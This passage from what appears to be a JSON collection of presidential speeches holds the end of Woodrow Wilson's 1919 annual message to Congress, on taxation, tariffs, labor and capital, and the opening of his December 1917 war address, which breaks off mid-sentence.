Treasury\nDepartment, free of obligations to or motives of consideration for this or\nany subsequent administration, and authorized and empowered to examine into\nand make report upon the methods employed and the results obtained by the\nexecutive departments of the Government. Their reports should be made to\nthe Congress and to the Secretary of the Treasury.I trust that the Congress will give its immediate consideration to the\nproblem of future taxation. Simplification of the income and profits taxes\nhas become an immediate necessity. These taxes performed indispensable\nservice during the war. They must, however, be simplified, not only to save\nthe taxpayer inconvenience and expense, but in order that his liability may\nbe made certain and definite.With reference to the details of the Revenue Law, the Secretary of the\nTreasury and the Commissioner of Internal Revenue will lay before you for\nyour consideration certain amendments necessary or desirable in connection\nwith the administration of the law-recommendations which have my approval\nand support. It is of the utmost importance that in dealing with this\nmatter the present law should not be disturbed so far as regards taxes for\nthe calendar year 1920 payable in the calendar year 1921. The Congress\nmight well consider whether the higher rates of income and profits taxes\ncan in peace times be effectively productive of revenue, and whether they\nmay not, on the contrary, be destructive of business activity and\nproductive of waste and inefficiency. There is a point at which in peace\ntimes high rates of income and profits taxes discourage energy, remove the\nincentive to new enterprises, encourage extravagant expenditures and\nproduce industrial stagnation with consequent unemployment and other\nattendant evils.The problem is not an easy one. A fundamental change has taken place with\nreference to the position of America in the world's affairs. The prejudice\nand passions engendered by decades of controversy between two schools of\npolitical and economic thought,-the one believers in protection of American\nindustries, the other believers in tariff for revenue only,-must be\nsubordinated to the single consideration of the public interest in the light\nof utterly changed conditions. Before the war America was heavily the\ndebtor of the rest of the world and the interest payments she had to make\nto foreign countries on American securities held abroad, the expenditures\nof American travelers abroad and the ocean freight charges she had to pay\nto others, about balanced the value of her pre-war favorable balance of\ntrade. During the war America's exports have been greatly stimulated, and\nincreased prices have increased their value. On the other hand, she has\npurchased a large proportion of the American securities previously held\nabroad, has loaned some $9,000,000,000 to foreign governments, and has\nbuilt her own ships. Our favorable balance of trade has thus been greatly\nincreased and Europe has been deprived of the means of meeting it\nheretofore existing. Europe can have only three ways of meeting the\nfavorable balance of trade in peace times: by imports into this country of\ngold or of goods, or by establishing new credits. Europe is in no position\nat the present time to ship gold to us nor could we contemplate large\nfurther imports of gold into this country without concern. The time has\nnearly passed for international governmental loans and it will take time to\ndevelop in this country a market for foreign securities. Anything,\ntherefore, which would tend to prevent foreign countries from settling for\nour exports by shipments of goods into this country could only have the\neffect of preventing them from paying for our exports and therefore of\npreventing the exports from being made. The productivity of the country,\ngreatly stimulated by the war, must find an outlet by exports to foreign\ncountries, and any measures taken to prevent imports will inevitably\ncurtail exports, force curtailment of production, load the banking\nmachinery of the country with credits to carry unsold products and produce\nindustrial stagnation and unemployment. If we want to sell, we must be\nprepared to buy. Whatever, therefore, may have been our views during the\nperiod of growth of American business concerning tariff legislation, we\nmust now adjust our own economic life to a changed condition growing out of\nthe fact that American business is full grown and that America is the\ngreatest capitalist in the world.No policy of isolation will satisfy the growing needs and opportunities of\nAmerica. The provincial standards and policies of the past, which have held\nAmerican business as if in a strait-jacket, must yield and give way to the\nneeds and exigencies of the new day in which we live, a day full of hope\nand promise for American business, if we will but take advantage of the\nopportunities that are ours for the asking. The recent war has ended our\nisolation and thrown upon us a great duty and responsibility. The United\nStates must share the expanding world market. The United States desires for\nitself only equal opportunity with the other nations of the world, and that\nthrough the process of friendly cooperation and fair competition the\nlegitimate interests of the nations concerned may be successfully and\nequitably adjusted.There are other matters of importance upon which I urged action at the last\nsession of Congress which are still pressing for solution. I am sure it is\nnot necessary for me again to remind you that there is one immediate and\nvery practicable question resulting from the war which we should meet in\nthe most liberal spirit. It is a matter of recognition and relief to our\nsoldiers. I can do no better than to quote from my last message urging this\nvery action:\"We must see to it that our returning soldiers are assisted in every\npracticable way to find the places for which they are fitted in the daily\nwork of the country. This can be done by developing and maintaining upon an\nadequate scale the admirable organization created by the Department of\nLabor for placing men seeking work; and it can also be done, in at least\none very great field, by creating new opportunities for individual\nenterprise. The Secretary of the Interior has pointed out the way by which\nreturning soldiers may be helped to find and take up land in the hitherto\nundeveloped regions of the country which the Federal Government has already\nprepared, or can readily prepare, for cultivation and also on many of the\ncutover or neglected areas which lie within the limits of the older states;\nand I once more take the liberty of recommending very urgently that his\nplans shall receive the immediate and substantial support of the\nCongress.\"In the matter of tariff legislation, I beg to call your attention to the\nstatements contained in my last message urging legislation with reference\nto the establishment of the chemical and dyestuffs industry in America:\"Among the industries to which special consideration should be given is\nthat of the manufacture of dyestuffs and related chemicals. Our complete\ndependence upon German supplies before the war made the interruption of\ntrade a cause of exceptional economic disturbance. The close relation\nbetween the manufacture of dyestuffs, on the one hand, and of explosive and\npoisonous gases, on the other, moreover, has given the industry an\nexceptional significance and value. Although the United States will gladly\nand unhesitatingly join in the programme of international disarmament, it\nwill, nevertheless, be a policy of obvious prudence to make certain of the\nsuccessful maintenance of many strong and well-equipped chemical plants.\nThe German chemical industry, with which we will be brought into\ncompetition, was and may well be again, a thoroughly knit monopoly capable\nof exercising a competition of a peculiarly insidious and dangerous kind.\"During the war the farmer performed a vital and willing service to the\nnation. By materially increasing the production of his land, he supplied\nAmerica and the Allies with the increased amounts of food necessary to keep\ntheir immense armies in the field. He indispensably helped to win the war.\nBut there is now scarcely less need of increasing the production in food\n-and the necessaries of life. I ask the Congress to consider means of\nencouraging effort along these lines. The importance of doing everything\npossible to promote production along economical lines, to improve\nmarketing, and to make rural life more attractive and healthful, is\nobvious. I would urge approval of the plans already proposed to the\nCongress by the Secretary of Agriculture, to secure the essential facts\nrequired for the proper study of this question, through the proposed\nenlarged programmes for farm management studies and crop estimates. I would\nurge, also, the continuance of Federal participation in the building of\ngood roads, under the terms of existing law and under the direction of\npresent agencies; the need of further action on the part of the States and\nthe Federal Government to preserve and develop our forest resources,\nespecially through the practice of better forestry methods on private\nholdings and the extension of the publicly owned forests; better support\nfor country schools and the more definite direction of their courses of\nstudy along lines related to rural problems; and fuller provision for\nsanitation in rural districts and the building up of needed hospital and\nmedical facilities in these localities. Perhaps the way might be cleared\nfor many of these desirable reforms by a fresh, comprehensive survey made\nof rural conditions by a conference composed of representatives of the\nfarmers and of the agricultural agencies responsible for leadership.I would call your attention to the widespread condition of political\nrestlessness in our body politic. The causes of this unrest, while various\nand complicated, are superficial rather than deep-seated. Broadly, they\narise from or are connected with the failure on the part of our Government\nto arrive speedily at a just and permanent peace permitting return to\nnormal conditions, from the transfusion of radical theories from seething\nEuropean centers pending such delay, from heartless profiteering resulting\nin the increase of the cost of living, and lastly from the machinations of\npassionate and malevolent agitators. With the return to normal conditions,\nthis unrest will rapidly disappear. In the meantime, it does much evil. It\nseems to me that in dealing with this situation Congress should not be\nimpatient or drastic but should seek rather to remove the causes. It should\nendeavor to bring our country back speedily to a peace basis, with\nameliorated living conditions under the minimum of restrictions upon\npersonal liberty that is consistent with our reconstruction problems. And\nit should arm the Federal Government with power to deal in its criminal\ncourts with those persons who by violent methods would abrogate our\ntime-tested institutions. With the free expression of opinion and with the\nadvocacy of orderly political change, however fundamental, there must be no\ninterference, but towards passion and malevolence tending to incite crime\nand insurrection under guise of political evolution there should be no\nleniency. Legislation to this end has been recommended by the Attorney\nGeneral and should be enacted. In this direct connection, I would call your\nattention to my recommendations on August 8th, pointing out legislative\nmeasures which would be effective in controlling and bringing down the\npresent cost of living, which contributes so largely to this unrest. On\nonly one of these recommendations has the Congress acted. If the\nGovernment's campaign is to be effective, it is necessary that the other\nsteps suggested should be acted on at once.I renew and strongly urge the necessity of the extension of the present\nFood Control Act as to the period of time in which it shall remain in\noperation. The Attorney General has submitted a bill providing for an\nextension of this Act for a period of six months. As it now stands, it is\nlimited in operation to the period of the war and becomes inoperative upon\nthe formal proclamation of peace. It is imperative that it should be\nextended at once. The Department of justice has built up extensive\nmachinery for the purpose of enforcing its provisions; all of which must be\nabandoned upon the conclusion of peace unless the provisions of this Act\nare extended.During this period the Congress will have an opportunity to make similar\npermanent provisions and regulations with regard to all goods destined for\ninterstate commerce and to exclude them from interstate shipment, if the\nrequirements of the law are not compiled with. Some such regulation is\nimperatively necessary. The abuses that have grown up in the manipulation\nof prices by the withholding of foodstuffs and other necessaries of life\ncannot otherwise be effectively prevented. There can be no doubt of either\nthe necessity of the legitimacy of such measures.As I pointed out in my last message, publicity can accomplish a great deal\nin this campaign. The aims of the Government must be clearly brought to the\nattention of the consuming public, civic organizations and state officials,\nwho are in a position to lend their assistance to our efforts. You have\nmade available funds with which to carry on this campaign, but there is no\nprovision in the law authorizing their expenditure for the purpose of\nmaking the public fully informed about the efforts of the Government.\nSpecific recommendation has been made by the Attorney General in this\nregard. I would strongly urge upon you its immediate adoption, as it\nconstitutes one of the preliminary steps to this campaign.I also renew my recommendation that the Congress pass a law regulating cold\nstorage as it is regulated, for example, by the laws of the State of New\nJersey, which limit the time during which goods may be kept in storage,\nprescribe the method of disposing of them if kept beyond the permitted\nperiod, and require that goods released from storage shall in all cases\nbear the date of their receipt. It would materially add to the\nserviceability of the law, for the purpose we now have in view, if it were\nalso prescribed that all goods released from storage for interstate\nshipment should have plainly marked upon each package the selling or market\nprice at which they went into storage. By this means the purchaser would\nalways be able to learn what profits stood between him and the producer or\nthe wholesale dealer.I would also renew my recommendation that all goods destined for interstate\ncommerce should in every case, where their form or package makes it\npossible, be plainly marked with the price at which they left the hands of\nthe producer.We should formulate a law requiring a Federal license of all corporations\nengaged in interstate commerce and embodying in the license or in the\nconditions under which it is to be issued, specific regulations designed to\nsecure competitive selling and prevent unconscionable profits in the method\nof marketing. Such a law would afford a welcome opportunity to effect other\nmuch needed reforms in the business of interstate shipment and in the\nmethods of corporations which are engaged in it; but for the moment I\nconfine my recommendations to the object immediately in hand, which is to\nlower the cost of living.No one who has observed the march of events in the last year can fail to\nnote the absolute need of a definite programme to bring about an\nimprovement in the conditions of labor. There can be no settled conditions\nleading to increased production and a reduction in the cost of living if\nlabor and capital are to be antagonists instead of partners. Sound thinking\nand an honest desire to serve the interests of the whole nation, as\ndistinguished from the interests of a class, must be applied to the\nsolution of this great and pressing problem. The failure of other nations\nto consider this matter in a vigorous way has produced bitterness and\njealousies and antagonisms, the food of radicalism. The only way to keep\nmen from agitating against grievances is to remove the grievances. An\nunwillingness even to discuss these matters produces only dissatisfaction\nand gives comfort to the extreme elements in our country which endeavor to\nstir up disturbances in order to provoke governments to embark upon a\ncourse of retaliation and repression. The seed of revolution is repression.\nThe remedy for these things must not be negative in character. It must be\nconstructive. It must comprehend the general interest. The real antidote\nfor the unrest which manifests itself is not suppression, but a deep\nconsideration of the wrongs that beset our national life and the\napplication of a remedy.Congress has already shown its willingness to deal with these industrial\nwrongs by establishing the eight-hour day as the standard in every field of\nlabor. It has sought to find a way to prevent child labor. It has served\nthe whole country by leading the way in developing the means of preserving\nand safeguarding lives and health in dangerous industries. It must now help\nin the difficult task of finding a method that will bring about a genuine\ndemocratization of industry, based upon the full recognition of the right\nof those who work, in whatever rank, to participate in some organic way in\nevery decision which directly affects their welfare. It is with this\npurpose in mind that I called a conference to meet in Washington on\nDecember 1st, to consider these problems in all their broad aspects, with\nthe idea of bringing about a better understanding between these two\ninterests.The great unrest throughout the world, out of which has emerged a demand\nfor an immediate consideration of the difficulties between capital and\nlabor, bids us put our own house in order. Frankly, there can be no\npermanent and lasting settlements between capital and labor which do not\nrecognize the fundamental concepts for which labor has been struggling\nthrough the years. The whole world gave its recognition and endorsement to\nthese fundamental purposes in the League of Notions. The statesmen gathered\nat Versailles recognized the fact that world stability could not be had by\nreverting to industrial standards and conditions against which the average\nworkman of the world had revolted. It is, therefore, the task of the states\nmen of this new day of change and readjustment to recognize world\nconditions and to seek to bring about, through legislation, conditions that\nwill mean the ending of age-long antagonisms between capital and labor and\nthat will hopefully lead to the building up of a comradeship which will\nresult not only in greater contentment among the mass of workmen but also\nbring about a greater production and a greater prosperity to business\nitself.To analyze the particulars in the demands of labor is to admit the justice\nof their complaint in many matters that lie at their basis. The workman\ndemands an adequate wage, sufficient to permit him to live in comfort,\nunhampered by the fear of poverty and want in his old age. He demands the\nright to live and the right to work amidst sanitary surroundings, both in\nhome and in workshop, surroundings that develop and do not retard his own\nhealth and wellbeing; and the right to provide for his children's wants in\nthe matter of health and education. In other words, it is his desire to\nmake the conditions of his life and the lives of those dear to him\ntolerable and easy to bear.The establishment of the principles regarding labor laid down ill the\ncovenant of the League of Nations offers us the way to industrial peace and\nconciliation. No other road lies open to us. Not to pursue this one is\nlonger to invite enmities, bitterness, and antagonisms which in the end\nonly lead to industrial and social disaster. The unwilling workman is not a\nprofitable servant. An employee whose industrial life is hedged about by\nhard and unjust conditions, which he did not create and over which he has\nno control, lacks that fine spirit of enthusiasm and volunteer effort which\nare the necessary ingredients of a great producing entity. Let us be frank\nabout this solemn matter. The evidences of world-wide unrest which manifest\nthemselves in violence throughout the world bid us pause and consider the\nmeans to be found to stop the spread of this contagious thing before it\nsaps the very vitality of the nation itself. Do we gain strength by\nwithholding the remedy? Or is it not the business of statesmen to treat\nthese manifestations of unrest which meet us on every hand as evidences of\nan economic disorder and to apply constructive remedies wherever necessary,\nbeing sure that in the application of the remedy we touch not the vital\ntissues of our industrial and economic life? There can be no recession of\nthe tide of unrest until constructive instrumentalities are set up to stem\nthat tide.Governments must recognize the right of men collectively to bargain for\nhumane objects that have at their base the mutual protection and welfare of\nthose engaged in all industries. Labor must not be longer treated as a\ncommodity. It must be regarded as the activity of human beings, possessed\nof deep yearnings and desires. The business man gives his best thought to\nthe repair and replenishment of his machinery, so that its usefulness will\nnot be impaired and its power to produce may always be at its height and\nkept in full vigor and motion. No less regard ought to be paid to the human\nmachine, which after all propels the machinery of the world and is the\ngreat dynamic force that lies back of all industry and progress. Return to\nthe old standards of wage and industry in employment are unthinkable. The\nterrible tragedy of war which has just ended and which has brought the\nworld to the verge of chaos and disaster would be in vain if there should\nensue a return to the conditions of the past. Europe itself, whence has\ncome the unrest which now holds the world at bay, is an example of\nstandpatism in these vital human matters which America might well accept as\nan example, not to be followed but studiously to be avoided. Europe made\nlabor the differential, and the price of it all is enmity and antagonism\nand prostrated industry, The right of labor to live in peace and comfort\nmust be recognized by governments and America should be the first to lay\nthe foundation stones upon which industrial peace shall be built.Labor not only is entitled to an adequate wage, but capital should receive\na reasonable return upon its investment and is entitled to protection at\nthe hands of the Government in every emergency. No Government worthy of the\nname can \"play\" these elements against each other, for there is a mutuality\nof interest between them which the Government must seek to express and to\nsafeguard at all cost.The right of individuals to strike is inviolate and ought not to be\ninterfered with by any process of Government, but there is a predominant\nright and that is the right of the Government to protect all of its people\nand to assert its power and majesty against the challenge of any class. The\nGovernment, when it asserts that right, seeks not to antagonize a class but\nsimply to defend the right of the whole people as against the irreparable\nharm and injury that might be done by the attempt by any class to usurp a\npower that only Government itself has a right to exercise as a protection\nto all.In the matter of international disputes which have led to war, statesmen\nhave sought to set up as a remedy arbitration for war. Does this not point\nthe way for the settlement of industrial disputes, by the establishment of\na tribunal, fair and just alike to all, which will settle industrial\ndisputes which in the past have led to war and disaster? America,\nwitnessing the evil consequences which have followed out of such disputes\nbetween these contending forces, must not admit itself impotent to deal\nwith these matters by means of peaceful processes. Surely, there must be\nsome method of bringing together in a council of peace and amity these two\ngreat interests, out of which will come a happier day of peace and\ncooperation, a day that will make men more hopeful and enthusiastic in\ntheir various tasks, that will make for more comfort and happiness in\nliving and a more tolerable condition among all classes of men. Certainly\nhuman intelligence can devise some acceptable tribunal for adjusting the\ndifferences between capital and labor.This is the hour of test and trial for America. By her prowess and\nstrength, and the indomitable courage of her soldiers, she demonstrated her\npower to vindicate on foreign battlefields her conceptions of liberty and\njustice. Let not her influence as a mediator between capital and labor be\nweakened and her own failure to settle matters of purely domestic concern\nbe proclaimed to the world. There are those in this country who threaten\ndirect action to force their will, upon a majority. Russia today, with its\nblood and terror, is a painful object lesson of the power of minorities. It\nmakes little difference what minority it is; whether capital or labor, or\nany other class; no sort of privilege will ever be permitted to dominate\nthis country. We are a partnership or nothing that is worth while. We are a\ndemocracy, where the majority are the masters, or all the hopes and\npurposes of the men who founded this government have been defeated and\nforgotten. In America there is but one way by which great reforms can be\naccomplished and the relief sought by classes obtained, and that is through\nthe orderly processes of representative government. Those who would propose\nany other method of reform are enemies of this country. America will not be\ndaunted by threats nor lose her composure or calmness in these distressing\ntimes. We can afford, in the midst of this day of passion and unrest, to be\nself-contained and sure. The instrument of all reform in America is the\nballot. The road to economic and social reform in America is the straight\nroad of justice to all classes and conditions of men. Men have but to\nfollow this road to realize the full fruition of their objects and\npurposes. Let those beware who would take the shorter road of disorder and\nrevolution. The right road is the road of justice and orderly process.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 4, 1917", 
+    "speech": "GENTLEMEN OF THE CONGRESS:Eight months have elapsed since I last had the honor of addressing you.\nThey have been months crowded with events of immense and grave significance\nfor us. I shall not undertake to detail or even to summarize those events.\nThe practical particulars of the part we have played in them will be laid\nbefore you in the reports of the executive departments. I shall discuss\nonly our present outlook upon these vast affairs, our present duties, and\nthe immediate means of accomplishing the objects we shall hold always in\nview.I shall not go back to debate the causes of the war. The intolerable wrongs\ndone and planned against us by the sinister masters of Germany have long\nsince become too grossly obvious and odious to every true American to need\nto be rehearsed. But I shall ask you to consider again and with a very\ngrave scrutiny our objectives and the measures by which we mean to attain\nthem; for the purpose of discussion here in this place is action, and our\naction must move straight toward definite ends. Our object is, of course,\nto win the war; and we shall not slacken or suffer ourselves to be diverted\nuntil it is won. But it is worth while asking and answering the question,\nWhen shall we consider the war won?From one point of view it is not necessary to broach this fundamental\nmatter. I do not doubt that the American people know what the war is about\nand what sort of an outcome they will regard as a realization of their\npurpose in it.As a nation we are united in spirit and intention. I pay little heed to\nthose who tell me otherwise. I hear the voices of dissent-who does not? I\nbear the criticism and the clamor of the noisily thoughtless and\ntroublesome. I also see men here and there fling themselves in impotent\ndisloyalty against the calm, indomitable power of the Nation. I hear men\ndebate peace who understand neither its nature nor the way in which we may\nattain it with uplifted eyes and unbroken spirits. But I know that none of\nthese speaks for the Nation. They do not touch the heart of anything. They\nmay safely be left to strut their uneasy hour and be forgotten.But from another point of view I believe that it is necessary to say\nplainly what we here at the seat of action consider the war to be for and\nwhat part we mean to play in the settlement of its searching issues. We are\nthe spokesmen of the American people, and they have a right to know whether\ntheir purpose is ours. They desire peace by the overcoming of evil, by the\ndefeat once for all of the sinister forces that interrupt peace and render\nit impossible, and they wish to know how closely our thought runs with\ntheirs and what action we propose. They are impatient with those who desire\npeace by any sort of compromise deeply and indignantly impatient--but they\nwill be equally impatient with us if we do not make it plain to them what\nour objectives are and what we are planning for in seeking to make conquest\nof peace by arms.I believe that I speak for them when I say two things: First, that this\nintolerable thing of which the masters of Germany have shown us the ugly\nface, this menace of combined intrigue and force which we now see so\nclearly as the German power, a thing without conscience or honor of\ncapacity for covenanted peace, must be crushed and, if it be not utterly\nbrought to an end, at least shut out from the friendly intercourse of the\nnations; and second, that when this thing and its power are indeed defeated\nand the time comes that we can discuss peace when the German people have\nspokesmen whose word we can believe and when those spokesmen are ready in\nthe name of their people to accept the common judgment of the nations as to\nwhat shall henceforth be the bases of law and of covenant for the life of\nthe world-we shall be willing and glad to pay the full price for peace, and\npay it ungrudgingly.We know what that price will be. It will be full, impartial justice-justice\ndone at every point and to every nation that the final settlement must\naffect, our enemies as well as our friends.You catch, with me, the voices of humanity that are in the air. They grow\ndaily more audible, more articulate, more persuasive, and they come from\nthe hearts of men everywhere. They insist that the war shall not end in\nvindictive action of any kind; that no nation or people shall be robbed or\npunished because the irresponsible rulers of a single country have\nthemselves done deep and abominable wrong. It is this thought that has been\nexpressed in the formula, \"No annexations, no contributions, no punitive\nindemnities.\"Just because this crude formula expresses the instinctive judgment as to\nright of plain men everywhere, it has been made diligent use of by the\nmasters of German intrigue to lead the people of Russia astray and the\npeople of every other country their agents could reach-in order that a\npremature peace might be brought about before autocracy has been taught its\nfinal and convincing lesson and the people of the world put in control of\ntheir own destinies.But the fact that a wrong use has been made of a just idea is no reason why\na right use should not be made of it. It ought to be brought under the\npatronage of its real friends. Let it be said again that autocracy must\nfirst be shown the utter futility of its claim to power or leadership in\nthe modern world. It is impossible to apply any standard of justice so long\nas such forces are unchecked and undefeated as the present masters of\nGermany command. Not until that has been done can right be set up as\narbiter and peacemaker among the nations. But when that has been done-as,\nGod willing, it assuredly will be-we shall at last be free to do an\nunprecedented thing, and this is the time to avow our purpose to do it. We\nshall be free to base peace on generosity and justice, to the exclusions of\nall selfish claims to advantage even on the part of the victors.Let there be no misunderstanding. Our present and immediate task is to win\nthe war and nothing shall turn us aside from it until it is\naccomplished. Every power and resource we possess, whether of men, of\nmoney, or of materials, is being devoted and will continue to be devoted to\nthat purpose until it is achieved. Those who desire to bring peace about\nbefore that purpose is achieved I counsel to carry their advice elsewhere.\nWe will not entertain it. We shall regard the war as won only when the\nGerman people say to us, through properly accredited representatives, that\nthey are ready to agree to a settlement based upon justice and reparation\nof the wrongs their rulers have done. They have done a wrong to Belgium\nwhich must be repaired. They have established a power over other lands and\npeoples than their own--over the great empire of Austria-Hungary, over\nhitherto free Balkan states, over Turkey and within Asia-which must be\nrelinquished.Germany's success by skill, by industry, by knowledge, by enterprise we did\nnot grudge or oppose, but admired, rather. She had built up for herself a\nreal empire of trade and influence, secured by the peace of the world. We\nwere content to abide by the rivalries of manufacture, science and commerce\nthat were involved for us in her success, and stand or fall as we had or\ndid not have the brains and the initiative to surpass her. But at the\nmoment when she had conspicuously won her triumphs of peace she threw them\naway, to establish in their stead what the world will no longer permit to\nbe established, military and political domination by arms, by which to oust\nwhere she could not excel the rivals she most feared and hated. The peace\nwe make must remedy that wrong. It must deliver the once fair lands and\nhappy peoples of Belgium and Northern France from the Prussian conquest and\nthe Prussian menace, but it must deliver also the peoples of\nAustria-Hungary, the peoples of the Balkans and the peoples of Turkey,\nalike in Europe and Asia, from the impudent and alien dominion of the\nPrussian military and commercial autocracy.We owe it, however, to ourselves, to say that we do not wish in any way to\nimpair or to rearrange the Austro-Hungarian Empire. It is no affair of ours\nwhat they do with their own life, either industrially or politically. We do\nnot purpose or desire to dictate to them in any way. We only desire to see\nthat their affairs are left in their own hands, in all matters, great or\nsmall. We shall hope to secure for the peoples of the Balkan peninsula and\nfor the people of the Turkish Empire the right and opportunity to make\ntheir own lives safe, their own fortunes secure against oppression or\ninjustice and from the dictation of foreign courts or parties.And our attitude and purpose with regard to Germany herself are of a like\nkind. We intend no wrong against the German Empire, no interference with\nher internal affairs. We should deem either the one or the other absolutely\nunjustifiable, absolutely contrary to the principles we have professed to\nlive by and to hold most sacred throughout our life as a nation.The people of Germany are being told by the men whom they now permit to\ndeceive them and to act as their masters that they are fighting for the\nvery life and existence of their empire, a war of desperate self-defense\nagainst deliberate aggression. Nothing could be more grossly or wantonly\nfalse, and we must seek by the utmost openness and candor as to our real\naims to convince them of its falseness. We are in fact fighting for their\nemancipation from the fear, along with our own-from the fear as well as\nfrom the fact of unjust attack by neighbors or rivals or schemers after\nworld empire. No one is threatening the existence or the independence of\nthe peaceful enterprise of the German Empire.The worst that can happen to the detriment the German people is this, that\nif they should still, after the war is over, continue to be obliged to live\nunder ambitious and intriguing masters interested to disturb the peace of\nthe world, men or classes of men whom the other peoples of the world could\nnot trust, it might be impossible to admit them to the partnership of\nnations which must henceforth guarantee the world's peace. That partnership\nmust be a partnership of peoples, not a mere partnership of governments. It\nmight be impossible, also, in such untoward circumstances, to admit Germany\nto the free economic intercourse which must inevitably spring out of the\nother partnerships of a real peace. But there would be no aggression in\nthat; and such a situation, inevitable, because of distrust, would in the\nvery nature of things sooner or later cure itself, by processes which would\nassuredly set in.The wrongs, the very deep wrongs, committed in this war will have to be\nrighted. That, of course. But they cannot and must not be righted by the\ncommission of similar wrongs against Germany and her allies. The world will\nnot permit the commission of similar wrongs as a means of reparation and\nsettlement. Statesmen must by this time have learned that the opinion of\nthe world is everywhere wide awake and fully comprehends the issues\ninvolved. No representative of any self-governed nation will dare disregard\nit by attempting any such covenants of selfishness and compromise as were\nentered into at the Congress of Vienna. The thought of the plain people\nhere and everywhere throughout the world, the people who enjoy no privilege\nand have very simple and unsophisticated standards of right and wrong, is\nthe air all governments must henceforth breathe if they would live.It is in the full disclosing light of that thought that all policies must\nbe received and executed in this midday hour of the world's life. Ger. man\nrulers have been able to upset the peace of the world only because the\nGerman people were not suffered under their tutelage to share the\ncomradeship of the other peoples of the world either in thought or in\npurpose. They were allowed to have no opinion of their own which might be\nset up as a rule of conduct for those who exercised authority over them.\nBut the Congress that concludes this war will feel the full strength of the\ntides that run now in the hearts and consciences of free men everywhere.\nIts conclusions will run with those tides.All those things have been true from the very beginning of this stupendous\nwar; and I cannot help thinking that if they had been made plain at the\nvery outset the sympathy and enthusiasm of the Russian people might have\nbeen once for all enlisted on the side of the Allies, suspicion and\ndistrust swept away, and a real and lasting union of purpose effected. Had\nthey believed these things at the very moment of their revolution, and had\nthey been confirmed in that belief since, the sad reverses which have\nrecently marked the progress of their affairs towards an ordered and stable\ngovernment of free men might have been avoided. The Russian people have\nbeen poisoned by the very same falsehoods that have kept the German people\nin the dark, and the poison has been administered by the very same hand.\nThe only possible antidote is the truth. It cannot be uttered too plainly\nor too often.From every point of view, therefore, it has seemed to be my duty to speak\nthese declarations of purpose, to add these specific interpretations to\nwhat I took the liberty of saying to the Senate in January. Our entrance\ninto the war has not altered out attitude towards the settlement that must\ncome when it is over.When I said in January that the nations of the world were entitled not only\nto free pathways upon the sea, but also to assured and unmolested access to\nthose-pathways, I was thinking, and I am thinking now, not of the smaller\nand weaker nations alone which need our countenance and support, but also\nof the great and powerful nations and of our present enemies as well as our\npresent associates in the war. I was thinking, and am thinking now, of\nAustria herself, among the rest, as well as of Serbia and of Poland.Justice and equality of rights can be had only at a great price. We are\nseeking permanent, not temporary, foundations for the peace of the world,\nand must seek them candidly and fearlessly. As always, the right will prove\nto be the expedient.What shall we do, then, to push this great war of freedom and justice to\nits righteous conclusion? We must clear away with a thorough hand all\nimpediments to success, and we must make every adjustment of law that will\nfacilitate the full and free use of our whole capacity and force as a\nfighting unit.One very embarrassing obstacle that stands hi our way is that we are at war\nwith Germany but not with her allies. I, therefore, very earnestly\nrecommend that the Congress immediately declare the United States in a\nstate of war with Austria-Hungary. Does it seem strange to you that this\nshould be the conclusion of the argument I have just addressed to you? It\nis not. It is in fact the inevitable logic of what I have said.\nAustria-Hungary is for the time being not her own mistress but simply the\nvassal of the German Government.We must face the facts as they are and act upon them without sentiment in\nthis stern business. The Government of Austria and Hungary is not acting\nupon its own initiative or in response to the wishes and feelings of its\nown peoples, but as the instrument of another nation. We must meet its\nforce with our own and regard the Central Powers as but one. The war can be\nsuccessfully conducted in no other way.The same logic would lead also to a declaration of war against Turkey and\nBulgaria. They also are the tools of Germany, but they are mere tools and\ndo not yet stand in the direct path of our necessary action. We shall go\nwherever the necessities of this war carry us, but it seems to me that we\nshould go only where immediate and practical considerations lead us, and\nnot heed any others.The financial and military measures which must be adopted will suggest\nthemselves as the war and its undertakings develop, but I will take the\nliberty of proposing to you certain other acts of legislation which seem to\nme to be needed for the support of the war and for the release of our whole\nforce and energy.It will be necessary to extend in certain particulars the legislation of\nthe last session with regard to alien enemies, and also necessary, I\nbelieve, to create a very definite and particular control over the entrance\nand departure of all persons into and from the United States.Legislation should be enacted defining as a criminal offense every wilful\nviolation of the presidential proclamation relating to alien enemies\npromulgated under section 4o67 of the revised statutes and providing\nappropriate punishments; and women, as well as men, should be included\nunder the terms of the acts placing restraints upon alien enemies.It is likely that as time goes on many alien enemies will be willing to be\nfed and housed at the expense of the Government in the detention camps, and\nit would be the purpose of the legislation I have suggested to confine\noffenders among them in the penitentiaries and other similar institutions\nwhere they could be made to work as other criminals do.Recent experience has convinced me that the Congress must go further in\nauthorizing the Government to set limits to prices. The law of supply and\ndemand, I am sorry to say, has been replaced by the law of unrestrained\nselfishness. While we have eliminated profiteering in several branches of\nindustry, it still runs impudently rampant in others. The farmers for\nexample, complain with a great deal of justice that, while the regulation\nof food prices restricts their incomes, no restraints are placed upon the\nprices of most of the things they must themselves purchase; and similar\ninequities obtain on all sides.It is imperatively necessary that the consideration of the full use of the\nwater power of the country, and also of the consideration of the systematic\nand yet economical development of such of the natural resources of the\ncountry as are still under the control of the Federal Government should be\nimmediately resumed and affirmatively and constructively dealt with at the\nearliest possible moment. The pressing need of such legislation is daily\nbecoming more obvious.The legislation proposed at the last session with regard to regulated\ncombinations among our exporters in order to provide for our foreign trade\na more effective organization and method of co-operation ought by all means\nto be completed at this session.And I beg that the members of the House of Representatives will permit me\nto express the opinion that it will be impossible to deal in any but a very\nwasteful and extravagant fashion with the enormous appropriations of the\npublic moneys which must continue to be made if the war is to be properly\nsustained, unless the House will consent to return to its former practice\nof initiating and preparing all appropriation bills through a single\ncommittee, in order that responsibility may be centered, expenditures\nstandardized and made uniform, and waste and duplication as much as\npossible avoided.Additional legislation may also become necessary before the present\nCongress again adjourns in order to effect the most efficient co-ordination\nand operation of the railways and other transportation systems of the\ncountry; but to that I shall, if circumstances should demand, call the\nattention of Congress upon another occasion.If I have overlooked anything that ought to be done for the more effective\nconduct of the war, your own counsels will supply the omission. What I am\nperfectly clear about is that in the present session of the Congress our\nwhole attention and energy should be concentrated on the vigorous, rapid\nand successful prosecution of the great task of winning the war.We can do this with all the greater zeal and enthusiasm because we know\nthat for us this is a war of high principle, debased by no selfish ambition\nof conquest or spoliation; because we know, and all the world knows, that\nwe have been forced into it to save the very institutions we five under\nfrom corruption and destruction. The purpose of the Central Powers strikes\nstraight at the very heart of everything we believe in; their methods of\nwarfare outrage every principle of humanity and of knightly honor; their\nintrigue has corrupted the very thought and spirit of many of our people;\ntheir sinister and secret diplomacy has sought to take our very territory\naway from us and disrupt the union of the states. Our safety would be at an\nend, our honor forever sullied and brought into contempt, were we to 